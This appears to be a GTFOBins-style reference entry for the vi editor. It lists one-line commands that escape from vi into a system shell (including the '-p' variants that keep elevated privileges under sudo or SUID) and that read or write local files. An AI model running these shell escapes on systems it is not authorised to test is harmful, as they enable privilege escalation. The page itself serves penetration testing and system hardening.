vi
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
vi -c ':!/bin/sh' /dev/nullThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.vi -c ':!/bin/sh' /dev/nullThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.vi -c ':!/bin/sh' /dev/null - This function can be performed by any unprivileged user.
vi -c ':shell'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.vi -c ':shell'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.vi -c ':shell' - This function can be performed by any unprivileged user.
vi -c ':set shell=/bin/sh | shell'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.vi -c ':set shell=/bin/sh | shell'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.vi -c ':set shell=/bin/sh\ -p | shell' - This function can be performed by any unprivileged user.
vi -c :terminal /bin/shThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.vi -c :terminal /bin/shThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.vi -c ':terminal /bin/sh -p'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
vi /path/to/output-file iDATA ^[ wThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.vi /path/to/output-file iDATA ^[ wThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.vi /path/to/output-file iDATA ^[ w
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
vi /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.vi /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.vi /path/to/input-file